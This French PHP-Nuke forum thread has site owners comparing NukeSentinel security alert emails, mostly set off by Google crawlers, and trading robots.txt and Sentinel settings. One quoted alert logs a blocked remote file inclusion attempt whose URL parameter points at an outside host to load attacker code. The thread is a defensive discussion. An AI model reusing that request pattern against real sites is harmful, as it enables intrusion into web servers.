| Voir le sujet précédent :: Voir le sujet suivant |
| Auteur |
Message |
ikvat
Régulier
Inscrit le: Apr 15, 2006
Messages: 203
Localisation: Montélimar
|
 Posté le: 20 Sep 2007, 14:23 Sujet du message: Quit de ce message sentinnel |
 |
|
Membre Agent: Mozilla/4.0 (compatible; MSIE 6.0; Bluecoat DRTR)
Requête tentée: labas-lietuva.com/labasadmin.php?op=SVC_Cache
Get String: labas-lietuva.com/labasadmin.php?op=SVC_Cache
Post String: labas-lietuva.com/labasadmin.php
Référant de: none
IP client: none
Adresse Décellée: 204.246.129.196
Port Décellé: 31747
Méthode de la requête: GET |
|
|
|
| Revenir en haut de page |
|
stefvar
Administrateur
Inscrit le: Jul 06, 2005
Messages: 8157
Localisation: France Corse Ventiseri
|
| Posté le: 20 Sep 2007, 20:59 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Bonjour,
Les attaques varient de plus en plus, même si leurs principes restent le même. Ils essaient un coup d'un côté, un coupe de l'autre, cela les amuse semble t'il.
_________________
Avant de poster, lire la charte du forum, merci. |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 20 Sep 2007, 21:21 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Salut,
Héhé de mon côté c'est pas mal aussi dès que je vais sur mon site de chez moi dans les 5 minutes je reçois cela ou un truc dans le genre :
| Citation: | Date et heure: 2007-09-20 20:36:48 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=ABMain
Get String: profsdevente.123.fr/admin.php?op=ABMain
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 44544
Méthode de la requête: GET |
ou encore :
| Citation: | Date et heure: 2007-09-20 20:38:01 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=SVRT_Accueil
Get String: profsdevente.123.fr/admin.php?op=SVRT_Accueil
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 48564
Méthode de la requête: GET |
Je m'attaque moi même ?
Et quel rapport avec Mediapartners-google ?
A+ |
|
|
|
| Revenir en haut de page |
|
gameover
Régulier
Inscrit le: Sep 11, 2006
Messages: 162
Localisation: Liège - Belgique
|
| Posté le: 20 Sep 2007, 21:46 Sujet du message: Re : Quit de ce message sentinnel |
|
|
| Ca ressemble à un robot de Google... |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 20 Sep 2007, 21:58 Sujet du message: Re : Quit de ce message sentinnel |
|
|
| Tout à fait. Et je me suis en effet référencé chez google avec le fichier dans à la base du site et tout et tout... Mais pourquoi me dire ce qui se passe à chaque fois ? |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
| Posté le: 21 Sep 2007, 4:21 Sujet du message: Re : Quit de ce message sentinnel |
|
|
 Hello
Modifie ton fichier "robot.txt" pour signaler aux robots de ne pas aller dans l'admin (pour cet exemple) et dans les autres rubriques où tu ne veux pas qu'ils aillent.
Ensuite, vide les IP bloquées de Sentinel sinon Google (dans ce cas précis) ne viendra plus sur ton site ou risque de référencer ces pages d'erreur.
_________________
Visitez Lorand Ville |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 21 Sep 2007, 22:00 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Salut,
| Citation: | | Modifie ton fichier "robot.txt" pour signaler aux robots de ne pas aller dans l'admin (pour cet exemple) |
Heu, bah je lui ai donné des adresses où aller mais pas où ne pas aller 
Il faut les noter comment ? Voici ce que j'ai :
| Code: | url>
<loc>http://profsdevente.123.fr/index.php</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url> |
Pour un seul exemple...
| Citation: | | Ensuite, vide les IP bloquées de Sentinel |
Il n'y en avait pas, seule une seule en IP exclue qui était la mienne et que j'ai supprimé.
Voilou.
A+
Jet |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
| Posté le: 22 Sep 2007, 3:39 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Hello
Voici par exemple ce que j'ai mis dans le mien :
| Code: | User-agent: Mediapartners-Google*
Disallow:
User-agent: *
Disallow: /admin.php
Disallow: /admin
Disallow: /db
Disallow: /images
Disallow: /includes
Disallow: /install
Disallow: /themes
Disallow: /language
Disallow: /modules/Forums/groupcp.php
Disallow: /modules/Forums/profile.php
Disallow: /modules/Forums/ranks.php
Disallow: /modules/Forums/smilies_list.php
Disallow: /modules/Forums/staff.php
Disallow: /modules/Forums/statistics.php
Disallow: /modules/Contact
Disallow: /modules/Members_List |
Si tu n'as aucune IP dans le menu des IP bloquées c'est que tu n'as pas configuré tes options de blocage.
_________________
Visitez Lorand Ville |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 22 Sep 2007, 9:30 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Donc ça c'est bon ? :
| Code: | <?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd"><!-- Created by nukeSEO Sitemap 1.0B --><!-- Updated on 2006-12-19T22:12:17+0100 -->
<url>
<loc>http://profsdevente.123.fr/index.php</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=News</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=News&file=article&sid=1&mode=&order=0&thold=0</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=Surveys</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=Surveys&op=results&pollID=1</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=FAQ</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
</urlset>
User-agent: Mediapartners-Google*
Disallow:
User-agent: *
Disallow: /admin.php
Disallow: /admin
Disallow: /db
Disallow: /images
Disallow: /includes
Disallow: /install
Disallow: /themes
Disallow: /language
Disallow: /modules/Forums/groupcp.php
Disallow: /modules/Forums/profile.php
Disallow: /modules/Forums/ranks.php
Disallow: /modules/Forums/smilies_list.php
Disallow: /modules/Forums/staff.php
Disallow: /modules/Forums/statistics.php
Disallow: /modules/Contact
Disallow: /modules/Members_List |
Et pour IP bloquées bah je croyais que si  Configuration de blocage...
Sauf que j'ai effectivement modifié le code en ce qui concerne les IP cachées.
A+ |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
| Posté le: 22 Sep 2007, 18:05 Sujet du message: Re : Quit de ce message sentinnel |
|
|
moi je serais toi j'enlèverai ceci du robot.txt :
| Code: |
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd"><!-- Created by nukeSEO Sitemap 1.0B --><!-- Updated on 2006-12-19T22:12:17+0100 -->
<url>
<loc>http://profsdevente.123.fr/index.php</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=News</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=News&file=article&sid=1&mode=&order=0&thold=0</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=Surveys</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=Surveys&op=results&pollID=1</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
<url>
<loc>http://profsdevente.123.fr/modules.php?name=FAQ</loc>
<lastmod>2006-12-19T22:12:17+01:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.5</priority>
</url>
</urlset>
|
Car ces infos sont soit indiquées dans le meta.php soit gérées par sitemap SEO.
Pour le blocage, tu as modifié quoi ? le code de includes/nuke_sentinel.php ?
_________________
Visitez Lorand Ville |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 23 Sep 2007, 0:06 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Salut,
J'ai essayé de te répondre en collant un script de nouveau et hop ! GOOGLE.fr
Donc, je le dis, plus jamais je tente d'insérer des codes 
Sinon, donc je n'ai pas retrouvé le post concernant la modif d'un fichier de sentinel, mais une chose est sûr il est dans le forum et a environ 1 an. Il s'agissait pour moi de pouvoir accéder au site même d'un lycée qui cache les ip des pcs.
Ensuite pour la modification du fichier, j'ai trouvé. C'est dans robots.txt qu'il faut mettre les lignes.
Et là, comme j'étaix viré de ce site j'ai activé Nukeseo sur mon site et hop : PAGE BLANCHE.
Je ne sais pas ce qui plante mais je cherche toujours. En tout cas je n'ai plus accès à rien !
Aller, A+
Jet |
|
|
|
| Revenir en haut de page |
|
Snesman
Bénévole SV
Inscrit le: Apr 30, 2006
Messages: 1788
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 23 Sep 2007, 1:06 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Ok, soirée 100% loose pour moi
C'est tout à fait cela ! Bravo ! Et jolie gestion de l'option "rechercher" du forum !
Heu, vu l'heure, bonne nuit
A+
Jet |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
| Posté le: 23 Sep 2007, 2:44 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Tu peux y aller, cette modification est également faite systématiquement sur mon site et Sentinel fonctionne parfaitement bien.
_________________
Visitez Lorand Ville |
|
|
|
| Revenir en haut de page |
|
ikvat
Régulier
Inscrit le: Apr 15, 2006
Messages: 203
Localisation: Montélimar
|
| Posté le: 23 Sep 2007, 12:05 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Serait bien également de comprendre l'action tentée par le contrevenant. 90% des messages que je reçois sont de cette forme :
| Citation: | Date et heure: 2007-09-23 08:10:08 CEST GMT +0200
IP Bloquée: 142.217.189.18
ID du membre: Visiteur (1)
Raison: Abuse-Filter
--------------------
Membre Agent: Wget/1.1 (compatible; i486; Linux; RedHat7.3)
Requête tentée: odb-opera.com/modules.php?name=http://amygirl.webs.io/pb.php?
Get String: odb-opera.com/modules.php?name=http://amygirl.webs.io/pb.php?
Post String: odb-opera.com/modules.php
Référant de: none
IP client: none
Adresse Décellée: 142.217.189.18
Port Décellé: 38741
Méthode de la requête: GET
|
Je pencherais pour un robot. |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 23 Sep 2007, 22:40 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Salut,
Mais qu'en est-il de mes messages ? Je ne comprends pas pourquoi à chaque fois que je vais sur mon site je reçois immédiatement un message ! C'est lourd et quel rapport avec google ???
Si je ne vais pas sur le site, pas de message. Dès que j'y vais message ! De plus l'IP n'est pas la mienne.
Je copie/colle les contenus :
| Citation: | Date et heure: 2007-09-23 22:05:30 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=DownloadCheck
Get String: profsdevente.123.fr/admin.php?op=DownloadCheck
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 54924
Méthode de la requête: GET |
| Citation: | Date et heure: 2007-09-23 22:06:57 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=DownloadBroken
Get String: profsdevente.123.fr/admin.php?op=DownloadBroken
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 41007
Méthode de la requête: GET |
| Citation: | Date et heure: 2007-09-23 22:05:36 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=DownloadValidate&cid=0
Get String: profsdevente.123.fr/admin.php?op=DownloadValidate&cid=0
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 54924
Méthode de la requête: GET |
| Citation: | Date et heure: 2007-09-23 21:58:28 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=NEMain
Get String: profsdevente.123.fr/admin.php?op=NEMain
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 51911
Méthode de la requête: GET |
| Citation: | Date et heure: 2007-09-23 21:54:15 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=MultiHeadlines
Get String: profsdevente.123.fr/admin.php?op=MultiHeadlines
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 42989
Méthode de la requête: GET |
| Citation: | Date et heure: 2007-09-23 21:58:24 CEST GMT +0200
IP Bloquée: 66.249.66.38
ID du membre: Visiteur (1)
Raison: Abuse-Admin
--------------------
Membre Agent: Mediapartners-Google
Requête tentée: profsdevente.123.fr/admin.php?op=NF_Main
Get String: profsdevente.123.fr/admin.php?op=NF_Main
Post String: profsdevente.123.fr/admin.php
Référant de: none
IP client: none
Adresse Décellée: 66.249.66.38
Port Décellé: 51911
Méthode de la requête: GET |
Voilou, donc là je ne sais plus quoi faire surtout que sentinel est paramétré comme cela :
| Citation: | | Paramètres de Blocage par l'ADMIN |
Activation: email de l admin
| Citation: | | Protection auteur |
Activation: email de l admin
| Citation: | | Configuration de la protection CLIKE |
Activation : Désactivé
| Citation: | | Protection UNION |
Activation : Renvoyé
| Citation: | | Protection filtres |
Activation : Renvoyé
| Citation: | | Configuration du blocage du Flood |
Impossible
[quote]Protection Robots/[quote]
Activation : Désactivé
| Citation: | | Protection Référants |
Activation : Désactivé
| Citation: | | Protection Scripts |
Activation : Renvoyé
| Citation: | | Protection contre les requêtes SQL |
Activation : Désactivé
| Citation: | | Protection String |
Activation : Désactivé
Et le temps de cliquer sur ces paramètres, plusieurs nouveaux messages...
A+
Jet |
|
|
|
| Revenir en haut de page |
|
Lorand
Expert
Inscrit le: Apr 08, 2006
Messages: 1029
Localisation: La Rochelle
|
| Posté le: 23 Sep 2007, 22:55 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Essaye de tout activé sauf :
Protection contre les requêtes SQL
Protection String
Protection Robots
Tu n'as rien d'anormal dans la page Configuration Générale ?
_________________
Visitez Lorand Ville |
|
|
|
| Revenir en haut de page |
|
jetdesh
Bénévole SV
Inscrit le: Dec 07, 2006
Messages: 864
|
| Posté le: 23 Sep 2007, 23:10 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Re,
Rien de special sur la première page :
| Citation: | 2.5.11: Activé: Administration
Votre version est la plus récente ! |
Plus les menus.
Ensuite, les 3 dont tu parles sont déjà désactivées (scripts, sql et robots).
A+ |
|
|
|
| Revenir en haut de page |
|
Snesman
Bénévole SV
Inscrit le: Apr 30, 2006
Messages: 1788
|
| Posté le: 23 Sep 2007, 23:47 Sujet du message: Re : Quit de ce message sentinnel |
|
|
Bonjour,
Il y a un truc qui m'étonnes. Que fait ce topic sur sentinel dans le sujet sur le Cache ? Il devrait se trouver dans la partie sécurité plutôt. |
|
|
|
| Revenir en haut de page |
|
|
